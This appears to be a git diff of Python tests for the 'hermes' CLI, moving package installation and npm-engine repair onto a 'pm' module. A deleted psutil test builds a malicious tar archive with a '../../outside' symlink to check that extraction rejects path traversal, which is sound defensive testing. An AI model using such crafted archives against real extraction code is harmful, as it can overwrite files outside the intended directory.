+ (root / "venv" / "Scripts").mkdir(parents=True) monkeypatch.setenv("HERMES_HOME", str(home)) - legacy_bin = str(root / "bin") - state, read, write = _fake_registry([legacy_bin]) + (tmp_path / "empty-store").mkdir() + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(tmp_path / "empty-store")) + state, read, write = _fake_registry([str(root / "bin"), r"C:\Windows\system32"]) ok = migrate_windows_bin_path( root, windows=True, read_user_path=read, write_user_path=write ) - assert not ok - assert state["entries"] == [legacy_bin] # working entry preserved - assert state["writes"] == 0 + assert ok + for name in _WINDOWS_BIN_LAUNCHERS: + body = (home / "bin" / f"{name}.cmd").read_text(encoding="utf-8") + assert "pm install" in body + assert state["writes"] == 1 def test_migration_skips_source_checkouts(tmp_path, monkeypatch): home = tmp_path / "hermes-home" home.mkdir() monkeypatch.setenv("HERMES_HOME", str(home)) + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(tmp_path / "empty-store")) root = tmp_path / "src" / "hermes-agent" - scripts = root / "venv" / "Scripts" - scripts.mkdir(parents=True) - for name in _WINDOWS_BIN_LAUNCHERS: - (scripts / f"{name}.exe").write_bytes(b"MZ") + (root / "venv" / "Scripts").mkdir(parents=True) state, read, write = _fake_registry([r"C:\Windows\system32"]) assert not migrate_windows_bin_path( @@ -326,15 +403,35 @@ def test_repo_gitignores_the_legacy_bin_dir(): ignored inside the checkout gets swept off disk. Exercises git's real ignore machinery rather than reading .gitignore text. """ + import os + import shutil import subprocess + import sys repo_root = Path(__file__).resolve().parents[2] if not (repo_root / ".git").exists(): pytest.skip("not running from a git checkout") + # conftest blanks SystemRoot/ComSpec and PATH can resolve `git` to an + # MSIX payload copy (WinError 5 outside its package context) — resolve + # a launchable git and pass a complete child env, as the bootstrap + # version-stamp tests do. + git = shutil.which("git") or "git" + if sys.platform == "win32": + pf = Path(os.environ.get("ProgramFiles", r"C:\Program Files")) + for rel in (("Git", "cmd", "git.exe"), ("Git", "bin", "git.exe")): + cand = pf.joinpath(*rel) + if cand.exists(): + git = str(cand) + break + env = os.environ.copy() + if sys.platform == "win32": + env.setdefault("SystemRoot", r"C:\Windows") + env.setdefault("ComSpec", r"C:\Windows\system32\cmd.exe") + result = subprocess.run( - ["git", "-C", str(repo_root), "check-ignore", "-q", "bin/hermes.exe"], - capture_output=True, + [git, "-C", str(repo_root), "check-ignore", "-q", "bin/hermes.exe"], + capture_output=True, env=env, ) assert result.returncode == 0, ( "bin/hermes.exe is not gitignored — hermes update's autostash " diff --git a/tests/hermes_cli/test_lazy_refresh_venv_repair.py b/tests/hermes_cli/test_lazy_refresh_venv_repair.py index a7e7ff9a90..b017cb9436 100644 --- a/tests/hermes_cli/test_lazy_refresh_venv_repair.py +++ b/tests/hermes_cli/test_lazy_refresh_venv_repair.py @@ -2,6 +2,7 @@ from __future__ import annotations +import os import textwrap from pathlib import Path from types import SimpleNamespace @@ -15,125 +16,6 @@ import pytest -def test_detect_returns_none_when_probe_subprocess_fails(tmp_path, monkeypatch): - python = tmp_path / "python" - python.write_text("", encoding="utf-8") - monkeypatch.setattr( - m, "_resolve_install_target_python", lambda *a, **k: python - ) - monkeypatch.setattr( - m.subprocess, - "run", - MagicMock(side_effect=OSError("exec failed")), - ) - assert m._detect_broken_lazy_refresh_imports(["uv", "pip"]) is None - - - - -def test_repair_runs_force_reinstall_with_pyproject_pins( - tmp_path, monkeypatch -): - pyproject = tmp_path / "pyproject.toml" - pyproject.write_text( - textwrap.dedent( - """\ - [project] - name = "fake" - version = "0.0.0" - dependencies = [ - "pyyaml==6.0.3", - "click==8.2.1", - ] - """ - ) - ) - monkeypatch.setattr(m, "PROJECT_ROOT", tmp_path) - - calls: list[list[str]] = [] - - def fake_install(cmd, **kwargs): - calls.append(cmd) - - detect_calls = {"count": 0} - - def fake_detect(prefix, *, env=None): - detect_calls["count"] += 1 - return [] - - monkeypatch.setattr(m, "_run_package_only_install", fake_install) - monkeypatch.setattr(m, "_detect_broken_lazy_refresh_imports", fake_detect) - - ok = m._repair_broken_lazy_refresh_imports( - ["uv", "pip"], - ["PyYAML", "click"], - env={"VIRTUAL_ENV": str(tmp_path)}, - ) - assert ok is True - assert calls == [ - [ - "uv", - "pip", - "install", - "--force-reinstall", - "pyyaml==6.0.3", - "click==8.2.1", - ] - ] - assert detect_calls["count"] == 1 - - -def test_refresh_repairs_venv_after_lazy_failure(tmp_path, monkeypatch, capsys): - import tools.lazy_deps as lazy_deps_mod - - monkeypatch.setattr(lazy_deps_mod, "active_features", lambda: ["platform.matrix"]) - monkeypatch.setattr( - lazy_deps_mod, - "refresh_active_features", - lambda **kw: {"platform.matrix": "failed: pip install failed"}, - ) - - repair_calls: list[list[str]] = [] - - def fake_repair(prefix, packages, *, env=None): - repair_calls.append(packages) - return True - - monkeypatch.setattr(m, "_detect_broken_lazy_refresh_imports", lambda *a, **k: ["PyYAML"]) - monkeypatch.setattr(m, "_repair_broken_lazy_refresh_imports", fake_repair) - - ok = m._refresh_active_lazy_features(["uv", "pip"], env={"VIRTUAL_ENV": str(tmp_path)}) - out = capsys.readouterr().out - - assert ok is True - assert repair_calls == [["PyYAML"]] - assert "Venv repair succeeded" in out - assert "import probes" in out - assert "Backends keep their previously-installed version" not in out - - -def test_refresh_uses_pre_rebuild_snapshot_when_provided(monkeypatch): - """Replacement runtimes must not re-detect features after packages vanish.""" - import tools.lazy_deps as lazy_deps_mod - - monkeypatch.setattr( - lazy_deps_mod, - "active_features", - lambda: pytest.fail("post-rebuild detection must not run"), - ) - restored = [] - monkeypatch.setattr( - lazy_deps_mod, - "restore_features", - lambda features: restored.append(features) or {"platform.telegram": "restored"}, - ) - - assert m._refresh_active_lazy_features( - ["uv", "pip"], features=["platform.telegram"] - ) is True - assert restored == [["platform.telegram"]] - - def test_capture_active_tool_dependencies_uses_tools_status_probes(monkeypatch): from hermes_cli import tools_config @@ -150,7 +32,7 @@ def test_restore_active_tool_dependencies_uses_static_allowlist(monkeypatch): calls = [] monkeypatch.setattr( m, - "_run_package_only_install", + "_run_install_with_heartbeat", lambda cmd, *, env=None: calls.append((cmd, env)), ) @@ -168,7 +50,7 @@ def test_cmd_update_captures_and_propagates_pre_rebuild_snapshot( tmp_path, monkeypatch ): """The updater must carry pre-rebuild state into its repair refresh.""" - from hermes_cli import managed_uv, update_cmd + from hermes_cli import update_cmd (tmp_path / ".git").mkdir() snapshot = ["platform.telegram"] @@ -186,9 +68,8 @@ def test_cmd_update_captures_and_propagates_pre_rebuild_snapshot( return SimpleNamespace(returncode=0, stdout="0\n", stderr="") return SimpleNamespace(returncode=0, stdout="", stderr="") - def fake_refresh(prefix, *, env=None, features=None): - refresh_calls.append((prefix, env, features)) - return True + def fake_sync(extras=None, *, explicit=False): + refresh_calls.append((sorted(extras or []), explicit)) def fake_restore(dependencies, prefix, *, env=None): restore_calls.append((dependencies, prefix, env)) @@ -215,11 +96,19 @@ def test_cmd_update_captures_and_propagates_pre_rebuild_snapshot( monkeypatch.setattr( m, "_install_python_dependencies_with_optional_fallback", lambda *a, **k: None ) - monkeypatch.setattr(m, "_refresh_active_lazy_features", fake_refresh) monkeypatch.setattr(m, "_restore_active_tool_dependencies", fake_restore) monkeypatch.setattr(m.subprocess, "run", fake_run) - monkeypatch.setattr(managed_uv, "update_managed_uv", lambda **kwargs: None) - monkeypatch.setattr(managed_uv, "ensure_uv", lambda **kwargs: "uv") + import pm + from pm.packages import uv_env as _uv_env + + def fake_uv(**kw): + env = _uv_env() + if kw.get("venv"): + env["VIRTUAL_ENV"] = str(kw["venv"]) + return "uv", env + + monkeypatch.setattr(pm, "uv", fake_uv) + monkeypatch.setattr(pm, "sync_venv", fake_sync) args = SimpleNamespace( yes=True, @@ -232,20 +121,14 @@ def test_cmd_update_captures_and_propagates_pre_rebuild_snapshot( with pytest.raises(RestoreReached): m._cmd_update_impl(args, gateway_mode=False) - # The repair env is now built via managed_python_env (#83914): third-party - # UV vars are stripped, managed pins set, then VIRTUAL_ENV re-pointed at - # the install's venv. Assert the CONTRACT, not the raw environ copy. - from hermes_cli.managed_uv import managed_python_env + # The repair phase is one explicit pm sync carrying the pre-rebuild + # extras snapshot; tool-dep restore still runs against the managed env + # (#83914: UV vars stripped, VIRTUAL_ENV pointed at the install's venv). + from pm.packages import uv_env as managed_python_env expected_env = managed_python_env() expected_env["VIRTUAL_ENV"] = str(tmp_path / "venv") - assert refresh_calls == [ - ( - ["uv", "pip"], - expected_env, - snapshot, - ) - ] + assert refresh_calls == [(sorted(["all", *snapshot]), True)] assert restore_calls == [ ( tool_snapshot, diff --git a/tests/hermes_cli/test_linux_desktop_entry.py b/tests/hermes_cli/test_linux_desktop_entry.py index 5bc73fb5b2..6b638fcd53 100644 --- a/tests/hermes_cli/test_linux_desktop_entry.py +++ b/tests/hermes_cli/test_linux_desktop_entry.py @@ -85,7 +85,12 @@ def test_exec_falls_back_to_interpreter_module(tmp_path, xdg_home, monkeypatch): exec_line = _parse(entry.read_text(encoding="utf-8"))["Exec"] assert exec_line.endswith("-m hermes_cli.main desktop") - assert Path(exec_line.split(" ")[0]).is_absolute() + # No-boot-through-venv: a DE launch inherits no environment, so the + # Exec line carries the repo PYTHONPATH explicitly via `env`. + tokens = exec_line.split(" ") + assert tokens[0] == "env" + assert tokens[1].startswith("PYTHONPATH=") + assert Path(tokens[2].strip('"')).is_absolute() # #90292: the shell installer's bash wrapper makes argv[0] the repo `hermes` @@ -108,7 +113,10 @@ def test_exec_prefixes_interpreter_for_env_shebang_python_script(tmp_path, xdg_h exec_line = _parse(entry.read_text(encoding="utf-8"))["Exec"] interpreter = str(Path(sys.executable).resolve()) - assert exec_line.split(" ")[0].strip('"') == interpreter + tokens = exec_line.split(" ") + assert tokens[0] == "env" + assert tokens[1].startswith("PYTHONPATH=") + assert tokens[2].strip('"') == interpreter assert str(hermes_bin) in exec_line assert exec_line.endswith("desktop") diff --git a/tests/hermes_cli/test_memory_setup.py b/tests/hermes_cli/test_memory_setup.py index 93903e6786..fe2a2e447f 100644 --- a/tests/hermes_cli/test_memory_setup.py +++ b/tests/hermes_cli/test_memory_setup.py @@ -53,39 +53,40 @@ def test_cmd_setup_generic_choice_cancel_writes_nothing(tmp_path, monkeypatch): # --------------------------------------------------------------------------- -# _provider_pip_dependencies — mode-aware dep expansion (#70636) +# provider extras — mode-aware expansion (#70636) # --------------------------------------------------------------------------- -def test_install_dependencies_force_reinstalls_versioned_specs(tmp_path, monkeypatch): - """force=True hands every declared spec (version ranges intact) to pip, +def test_install_dependencies_force_resyncs_declared_extra(tmp_path, monkeypatch): + """force=True re-syncs the provider's extra even when it imports fine, so a downgraded/stripped bridge package is restored on hermes update.""" import yaml as _yaml plugin_dir = tmp_path / "mem0" plugin_dir.mkdir() (plugin_dir / "plugin.yaml").write_text( - _yaml.safe_dump({"pip_dependencies": ["mem0ai>=2.0.10,<3"]}), encoding="utf-8" + _yaml.safe_dump({"extra": "mem0"}), encoding="utf-8" ) monkeypatch.setattr( "plugins.memory.find_provider_dir", lambda name: plugin_dir ) - installed = [] + synced = [] - def fake_install_specs(specs, timeout=120): - installed.append(list(specs)) - return SimpleNamespace(ok=True, blocked=False, reason="", stderr="") + import pm - monkeypatch.setattr("tools.lazy_deps.install_specs", fake_install_specs) + monkeypatch.setattr(pm, "available", lambda extra: True) + monkeypatch.setattr( + pm, "sync_venv", + lambda extras=None, explicit=False: synced.append((list(extras or []), explicit)), + ) memory_setup._install_dependencies("mem0", force=True) - assert installed, "force=True must reach the install step" - assert any("mem0ai>=2.0.10,<3" in specs for specs in installed) + assert synced == [(["mem0"], True)] def test_cmd_status_memory_tool_gate_disabled(capsys, monkeypatch): diff --git a/tests/hermes_cli/test_memory_setup_provider_arg.py b/tests/hermes_cli/test_memory_setup_provider_arg.py index 7df85c3156..ba35eeb65b 100644 --- a/tests/hermes_cli/test_memory_setup_provider_arg.py +++ b/tests/hermes_cli/test_memory_setup_provider_arg.py @@ -34,63 +34,39 @@ class TestMemorySetupProviderRouting: class TestInstallDependenciesRunner: - """`_install_dependencies` must route through the canonical - ``_pip_install`` ladder (uv → pip → ensurepip): uv when present, standard - pip when uv is unavailable, and an ensurepip bootstrap for pip-less venvs - instead of dead-ending with "cannot install".""" + """`_install_dependencies` routes through pm (venv sync of the declared + extra) — the old uv → pip → ensurepip ladder is gone.""" - def _run_with_missing_dep(self, tmp_path, which_side_effect, run_behavior=None): - """Drive _install_dependencies for a plugin that declares one missing - pip dep, capturing every subprocess.run argv issued by the ladder.""" - import os - import sys - from unittest.mock import patch as _patch + def test_syncs_declared_extra_via_pm(self, tmp_path): + (tmp_path / "plugin.yaml").write_text("extra: mem0\n", encoding="utf-8") + synced = [] - (tmp_path / "plugin.yaml").write_text( - "pip_dependencies:\n - definitely-not-installed-xyz\n", encoding="utf-8" - ) - calls = [] + import pm - def fake_run(cmd, **kw): - calls.append(cmd) - if run_behavior: - return run_behavior(cmd) - return SimpleNamespace(returncode=0, stdout="", stderr="") - - # The hermetic conftest sets HERMES_DISABLE_LAZY_INSTALLS=1 so no test - # can trigger a real mid-run pip install. These tests exercise the - # install ladder itself (against a fully mocked subprocess.run), so - # they opt back in — the same both-directions override - # tests/tools/test_lazy_deps.py uses. - with _patch.dict(os.environ, {"HERMES_DISABLE_LAZY_INSTALLS": "0"}), \ - patch("plugins.memory.find_provider_dir", return_value=tmp_path), \ - patch("hermes_cli.tools_config.shutil.which", side_effect=which_side_effect), \ - patch("hermes_cli.tools_config.subprocess.run", fake_run): + with patch("plugins.memory.find_provider_dir", return_value=tmp_path), \ + patch.object(pm, "available", lambda extra: False), \ + patch.object( + pm, "sync_venv", + lambda extras=None, explicit=False: synced.append( + (list(extras or []), explicit) + ), + ): memory_setup._install_dependencies("x") - return calls, sys.executable - def test_uses_uv_when_available(self, tmp_path): - calls, _ = self._run_with_missing_dep( - tmp_path, lambda b: "/usr/bin/uv" if b == "uv" else None - ) - assert calls - assert calls[0][:3] == ["/usr/bin/uv", "pip", "install"] + assert synced == [(["mem0"], True)] - def test_falls_back_to_pip_when_uv_missing(self, tmp_path): - """No uv but pip importable -> python -m pip install.""" - calls, py = self._run_with_missing_dep(tmp_path, lambda b: None) - assert calls - # Ladder probes pip first, then installs with it. - assert calls[0][:3] == [py, "-m", "pip"] - assert calls[-1][:4] == [py, "-m", "pip", "install"] + def test_noop_when_extra_available(self, tmp_path): + (tmp_path / "plugin.yaml").write_text("extra: mem0\n", encoding="utf-8") + synced = [] - def test_bootstraps_pip_via_ensurepip_when_missing(self, tmp_path): - """Neither uv nor pip -> ensurepip bootstrap, then pip install.""" - def behavior(cmd): - if cmd[-1] == "--version": - return SimpleNamespace(returncode=1, stdout="", stderr="") - return SimpleNamespace(returncode=0, stdout="", stderr="") + import pm - calls, py = self._run_with_missing_dep(tmp_path, lambda b: None, behavior) - assert any("ensurepip" in c for c in calls) - assert calls[-1][:4] == [py, "-m", "pip", "install"] + with patch("plugins.memory.find_provider_dir", return_value=tmp_path), \ + patch.object(pm, "available", lambda extra: True), \ + patch.object( + pm, "sync_venv", + lambda extras=None, explicit=False: synced.append(list(extras or [])), + ): + memory_setup._install_dependencies("x") + + assert synced == [] diff --git a/tests/hermes_cli/test_npm_engine.py b/tests/hermes_cli/test_npm_engine.py index 56e6e7e426..19b75ca37d 100644 --- a/tests/hermes_cli/test_npm_engine.py +++ b/tests/hermes_cli/test_npm_engine.py @@ -1,12 +1,12 @@ """Tests for npm ``EBADENGINE`` recovery (``hermes_cli/npm_engine.py``). The behaviour under test is a contract about *reacting* to npm's own engine -check: npm states the range it wants in the failure, Hermes upgrades only an -npm it owns, and every other case leaves the original failure alone. +check: npm states the range it wants in the failure, Hermes provisions its +pm-pinned npm instead of touching a foreign one, and every other case leaves +the original failure alone. """ import json -import subprocess from pathlib import Path import pytest @@ -15,7 +15,6 @@ import hermes_cli.npm_engine as npm_engine from hermes_cli.npm_engine import ( actual_npm_version, is_ebadengine, - managed_npm_prefix, maybe_repair_npm_engine, required_npm_range, ) @@ -39,7 +38,7 @@ npm ERR! notsup Actual: {"npm":"9.6.7","node":"v20.1.0"} """ # A lockfile mismatch — the other common `npm ci` failure. Must NOT be treated -# as an engine problem, or every out-of-sync lockfile would trigger an upgrade. +# as an engine problem, or every out-of-sync lockfile would trigger a repair. ELOCK_OUTPUT = """ npm error code EUSAGE npm error `npm ci` can only install packages when your package.json and @@ -85,286 +84,83 @@ class TestDetection: assert required_npm_range(broken) is None -class TestManagedDetection: - """The upgrade must fire for every spelling of the managed npm, and for - no other npm — this is the boundary between "Hermes fixes it" and "the - user's own toolchain is left alone".""" - - @pytest.fixture - def managed_tree(self, tmp_path, monkeypatch): - home = tmp_path / ".hermes" - node = home / "node" - (node / "bin").mkdir(parents=True) - (node / "lib" / "node_modules" / "npm" / "bin").mkdir(parents=True) - cli = node / "lib" / "node_modules" / "npm" / "bin" / "npm-cli.js" - cli.write_text("#!/usr/bin/env node\n", encoding="utf-8") - (node / "bin" / "npm").symlink_to(cli) - monkeypatch.setenv("HERMES_HOME", str(home)) - return home - - def test_direct_managed_bin_is_managed(self, managed_tree): - npm = managed_tree / "node" / "bin" / "npm" - assert managed_npm_prefix(npm) == managed_tree / "node" - - def test_symlink_from_local_bin_resolves_to_managed(self, managed_tree, tmp_path): - """An install links ~/.local/bin/npm at the managed tree; that link is - the npm a user's PATH actually resolves, so it must count as managed.""" - local_bin = tmp_path / "local-bin" - local_bin.mkdir() - link = local_bin / "npm" - link.symlink_to(managed_tree / "node" / "bin" / "npm") - assert managed_npm_prefix(link) == managed_tree / "node" - - def test_system_npm_is_not_managed(self, managed_tree, tmp_path): - system_npm = tmp_path / "usr" / "bin" / "npm" - system_npm.parent.mkdir(parents=True) - system_npm.write_text("#!/bin/sh\n", encoding="utf-8") - assert managed_npm_prefix(system_npm) is None - - def test_no_npm_is_not_managed(self, managed_tree): - assert managed_npm_prefix(None) is None - assert managed_npm_prefix("") is None - - -class TestInUseDeferral: - """The managed tree cannot be written while a running app executes from - it (WinError 5 on npm.cmd, #80926) — the npm upgrade defers instead.""" - - @pytest.fixture - def managed_npm(self, tmp_path, monkeypatch): - home = tmp_path / ".hermes" - bin_dir = home / "node" / "bin" - bin_dir.mkdir(parents=True) - npm = bin_dir / "npm" - npm.write_text("#!/bin/sh\n", encoding="utf-8") - npm.chmod(0o755) - monkeypatch.setenv("HERMES_HOME", str(home)) - return npm - - def test_in_use_managed_tree_defers_upgrade_without_running_npm( - self, managed_npm, monkeypatch - ): - monkeypatch.setattr(npm_engine, "managed_node_tree_in_use", lambda: True) - - def forbidden_run(cmd, **kwargs): - raise AssertionError(f"npm must not run while the tree is in use: {cmd}") - - monkeypatch.setattr(subprocess, "run", forbidden_run) - - result = npm_engine.upgrade_managed_npm( - str(managed_npm), - ">=11.0.0", - prefix=managed_npm.parent, - quiet=True, - ) - assert result is False - - def test_in_use_deferral_blocks_repair_retry(self, managed_npm, monkeypatch): - """End-to-end: an in-use tree means no npm subprocess runs and no - retry is offered — the original EBADENGINE failure stands with the - deferral notice.""" - monkeypatch.setattr(npm_engine, "managed_node_tree_in_use", lambda: True) - - def forbidden_run(cmd, **kwargs): - raise AssertionError(f"npm must not run while the tree is in use: {cmd}") - - monkeypatch.setattr(subprocess, "run", forbidden_run) - - assert ( - maybe_repair_npm_engine(str(managed_npm), EBADENGINE_OUTPUT, quiet=True) - is None - ) - - class TestRepairDecision: """`maybe_repair_npm_engine` returns the npm to retry with (truthy) only when a repair actually happened, because its return value is what gates the caller's single retry.""" - @pytest.fixture - def managed_npm(self, tmp_path, monkeypatch): - home = tmp_path / ".hermes" - bin_dir = home / "node" / "bin" - bin_dir.mkdir(parents=True) - npm = bin_dir / "npm" - npm.write_text("#!/bin/sh\n", encoding="utf-8") - npm.chmod(0o755) - monkeypatch.setenv("HERMES_HOME", str(home)) - return npm - - def test_upgrades_managed_npm_with_the_range_npm_asked_for( - self, managed_npm, monkeypatch - ): - calls = [] - - def fake_run(cmd, **kwargs): - calls.append((cmd, kwargs)) - return subprocess.CompletedProcess(cmd, 0, "", "") - - monkeypatch.setattr(subprocess, "run", fake_run) - repaired = maybe_repair_npm_engine( - str(managed_npm), EBADENGINE_OUTPUT, quiet=True - ) - assert repaired == str(managed_npm) - - upgrade_cmd = calls[0][0] - assert upgrade_cmd[1:3] == ["install", "--global"] - # The range must come from npm's error, and target the managed prefix - # explicitly (the managed etc/npmrc points `prefix` elsewhere). - assert "npm@<11.10.0 || >=12.0.0" in upgrade_cmd - prefix_index = upgrade_cmd.index("--prefix") - assert Path(upgrade_cmd[prefix_index + 1]) == managed_npm.parent.parent - - def test_upgrade_runs_outside_the_checkout(self, managed_npm, monkeypatch): - """The repo .npmrc sets min-release-age, which would gate the very npm - release we need; the upgrade must not run under it.""" - seen = {} - - def fake_run(cmd, **kwargs): - seen.update(kwargs) - return subprocess.CompletedProcess(cmd, 0, "", "") - - monkeypatch.setattr(subprocess, "run", fake_run) - maybe_repair_npm_engine(str(managed_npm), EBADENGINE_OUTPUT, quiet=True) - - cwd = Path(seen["cwd"]) - assert not (cwd / ".npmrc").exists() - assert seen["env"]["npm_config_min_release_age"] == "0" - - def test_failed_upgrade_reports_no_retry(self, managed_npm, monkeypatch): - monkeypatch.setattr( - subprocess, - "run", - lambda cmd, **kw: subprocess.CompletedProcess(cmd, 1, "", "boom"), - ) - assert not maybe_repair_npm_engine( - str(managed_npm), EBADENGINE_OUTPUT, quiet=True - ) - - def test_foreign_npm_provisions_managed_runtime_instead( - self, tmp_path, monkeypatch - ): - """A system/nvm/brew/Nix npm is never modified — Hermes provisions its - own managed tree, upgrades THAT npm into range, and returns it.""" - home = tmp_path / ".hermes" - monkeypatch.setenv("HERMES_HOME", str(home)) + def test_foreign_npm_provisions_pm_npm_instead(self, tmp_path, monkeypatch): + """A system/nvm/brew/Nix npm is never modified — Hermes ensures its + own pm-pinned npm and returns it.""" system_npm = tmp_path / "usr-bin-npm" system_npm.write_text("#!/bin/sh\n", encoding="utf-8") + managed = tmp_path / "store" / "npm-x" / "npm" + managed.parent.mkdir(parents=True) + managed.write_text("#!/bin/sh\n", encoding="utf-8") - managed = home / "node" / "bin" / "npm" - - import hermes_cli.npm_engine as npm_engine - - def fake_bootstrap(): - managed.parent.mkdir(parents=True, exist_ok=True) - managed.write_text("#!/bin/sh\n", encoding="utf-8") - managed.chmod(0o755) - return str(managed) - - upgrades = [] monkeypatch.setattr( - npm_engine, "bootstrap_hermes_managed_node", fake_bootstrap + npm_engine, "_pm_npm", lambda quiet=False: str(managed) ) - monkeypatch.setattr( - npm_engine, - "upgrade_managed_npm", - lambda npm, rng, *, prefix, quiet=False: upgrades.append((npm, rng)) - or True, - ) - repaired = maybe_repair_npm_engine( str(system_npm), EBADENGINE_OUTPUT, quiet=True ) assert repaired == str(managed) - # The upgrade targeted the MANAGED npm with npm's own stated range — - # the system npm was never the target of anything. - assert upgrades == [(str(managed), "<11.10.0 || >=12.0.0")] - def test_foreign_npm_failed_bootstrap_prints_manual_fix( - self, tmp_path, monkeypatch, capsys - ): - home = tmp_path / ".hermes" - monkeypatch.setenv("HERMES_HOME", str(home)) + def test_failing_pm_npm_reports_no_retry(self, tmp_path, monkeypatch, capsys): + """When the failing npm already IS pm's npm, a re-ensure cannot change + anything — no retry, manual guidance instead.""" + managed = tmp_path / "store" / "npm-x" / "npm" + managed.parent.mkdir(parents=True) + managed.write_text("#!/bin/sh\n", encoding="utf-8") + + monkeypatch.setattr( + npm_engine, "_pm_npm", lambda quiet=False: str(managed) + ) + assert maybe_repair_npm_engine(str(managed), EBADENGINE_OUTPUT) is None + err = capsys.readouterr().err + assert 'npm install -g npm@"<11.10.0 || >=12.0.0"' in err + + def test_failed_provisioning_prints_manual_fix(self, tmp_path, monkeypatch, capsys): system_npm = tmp_path / "usr-bin-npm" system_npm.write_text("#!/bin/sh\n", encoding="utf-8") - import hermes_cli.npm_engine as npm_engine - - monkeypatch.setattr( - npm_engine, "bootstrap_hermes_managed_node", lambda: None - ) + monkeypatch.setattr(npm_engine, "_pm_npm", lambda quiet=False: None) assert not maybe_repair_npm_engine(str(system_npm), EBADENGINE_OUTPUT) # The user gets the exact command to run, since we refuse to run it. err = capsys.readouterr().err assert 'npm install -g npm@"<11.10.0 || >=12.0.0"' in err - def test_non_engine_failure_never_repairs(self, managed_npm, monkeypatch): - def explode(cmd, **kwargs): # pragma: no cover - must not be reached + def test_non_engine_failure_never_repairs(self, tmp_path, monkeypatch): + def explode(quiet=False): # pragma: no cover - must not be reached raise AssertionError("a lockfile mismatch must not trigger a repair") - monkeypatch.setattr(subprocess, "run", explode) - assert not maybe_repair_npm_engine(str(managed_npm), ELOCK_OUTPUT, quiet=True) + monkeypatch.setattr(npm_engine, "_pm_npm", explode) + npm = tmp_path / "npm" + npm.write_text("#!/bin/sh\n", encoding="utf-8") + assert not maybe_repair_npm_engine(str(npm), ELOCK_OUTPUT, quiet=True) def test_node_only_mismatch_on_foreign_npm_still_provisions( self, tmp_path, monkeypatch ): """A too-old system NODE can't be fixed by any npm upgrade, but the - managed tree ships a supported Node — provisioning covers it. The - managed npm is still upgraded to the repo's own engines.npm range.""" - home = tmp_path / ".hermes" - monkeypatch.setenv("HERMES_HOME", str(home)) + pm store ships a supported Node — provisioning covers it.""" system_npm = tmp_path / "usr-bin-npm" system_npm.write_text("#!/bin/sh\n", encoding="utf-8") - node_only = ( "npm error code EBADENGINE\n" 'npm error notsup Required: {"node":">=20.0.0"}\n' 'npm error notsup Actual: {"npm":"10.9.8","node":"v18.0.0"}\n' ) + managed = tmp_path / "store" / "npm-x" / "npm" + managed.parent.mkdir(parents=True) + managed.write_text("#!/bin/sh\n", encoding="utf-8") - managed = home / "node" / "bin" / "npm" - - import hermes_cli.npm_engine as npm_engine - - def fake_bootstrap(): - managed.parent.mkdir(parents=True, exist_ok=True) - managed.write_text("#!/bin/sh\n", encoding="utf-8") - managed.chmod(0o755) - return str(managed) - - upgrades = [] monkeypatch.setattr( - npm_engine, "bootstrap_hermes_managed_node", fake_bootstrap + npm_engine, "_pm_npm", lambda quiet=False: str(managed) ) - monkeypatch.setattr( - npm_engine, - "upgrade_managed_npm", - lambda npm, rng, *, prefix, quiet=False: upgrades.append(rng) or True, - ) - repaired = maybe_repair_npm_engine(str(system_npm), node_only, quiet=True) assert repaired == str(managed) - # No range in npm's error → fall back to the repo's own engines.npm - # so the fresh tree's bundled npm doesn't fail the retry identically. - repo_range = npm_engine._repo_npm_range() - assert upgrades == ([repo_range] if repo_range else []) - - def test_node_only_mismatch_on_managed_npm_does_not_upgrade( - self, managed_npm, monkeypatch - ): - """Upgrading a managed npm cannot fix a managed-Node mismatch.""" - node_only = ( - "npm error code EBADENGINE\n" - 'npm error notsup Required: {"node":">=20.0.0"}\n' - 'npm error notsup Actual: {"npm":"10.9.8","node":"v18.0.0"}\n' - ) - - def explode(cmd, **kwargs): # pragma: no cover - must not be reached - raise AssertionError("npm upgrade cannot fix a Node mismatch") - - monkeypatch.setattr(subprocess, "run", explode) - assert not maybe_repair_npm_engine(str(managed_npm), node_only, quiet=True) class TestRepoRangeIsSatisfiable: diff --git a/tests/hermes_cli/test_psutil_android_extract.py b/tests/hermes_cli/test_psutil_android_extract.py deleted file mode 100644 index 86477e427c..0000000000 --- a/tests/hermes_cli/test_psutil_android_extract.py +++ /dev/null @@ -1,126 +0,0 @@ -"""Regression tests for the Android psutil compatibility installer.""" - -from __future__ import annotations - -import io -import shutil -import tarfile -from pathlib import Path -from unittest.mock import patch - -import pytest - -from hermes_cli.psutil_android import ( - MARKER, - REPLACEMENT, - PSUTIL_URL, - PsutilAndroidInstallError, - prepare_patched_psutil_sdist, -) - - -def _add_dir(tf: tarfile.TarFile, name: str) -> None: - info = tarfile.TarInfo(name) - info.type = tarfile.DIRTYPE - info.mode = 0o755 - tf.addfile(info) - - -def _add_file(tf: tarfile.TarFile, name: str, content: str) -> None: - payload = content.encode("utf-8") - info = tarfile.TarInfo(name) - info.size = len(payload) - info.mode = 0o644 - tf.addfile(info, io.BytesIO(payload)) - - -def _build_psutil_archive(archive: Path, *, malicious_symlink: bool) -> None: - with tarfile.open(archive, "w:gz") as tf: - _add_dir(tf, "psutil-7.2.2") - if malicious_symlink: - link = tarfile.TarInfo("psutil-7.2.2/psutil") - link.type = tarfile.SYMTYPE - link.linkname = "../../outside" - tf.addfile(link) - else: - _add_dir(tf, "psutil-7.2.2/psutil") - _add_file( - tf, - "psutil-7.2.2/psutil/_common.py", - f"{MARKER}\n", - ) - - -def test_prepare_patched_psutil_sdist_rejects_symlink_member(tmp_path): - """A symlink member must be rejected before any file payload is written.""" - archive = tmp_path / "evil.tar.gz" - _build_psutil_archive(archive, malicious_symlink=True) - - destination = tmp_path / "extract" - with pytest.raises(PsutilAndroidInstallError, match="Unsupported archive member type"): - prepare_patched_psutil_sdist(archive, destination) - - assert not (tmp_path / "outside" / "_common.py").exists() - - -def test_install_psutil_android_compat_uses_patched_tree(tmp_path): - """Updater path should install from the patched temporary sdist tree.""" - archive = tmp_path / "psutil.tar.gz" - _build_psutil_archive(archive, malicious_symlink=False) - - from hermes_cli import main as hermes_main - - captured: dict[str, object] = {} - - def fake_urlretrieve(url: str, dest: Path): - assert url == PSUTIL_URL - shutil.copyfile(archive, dest) - return str(dest), None - - def fake_run_install(cmd: list[str], *, env=None): - src_root = Path(cmd[-1]) - captured["cmd"] = cmd - captured["env"] = env - captured["common_py"] = (src_root / "psutil" / "_common.py").read_text( - encoding="utf-8" - ) - - with patch("urllib.request.urlretrieve", side_effect=fake_urlretrieve), \ - patch.object(hermes_main, "_run_install_with_heartbeat", side_effect=fake_run_install): - 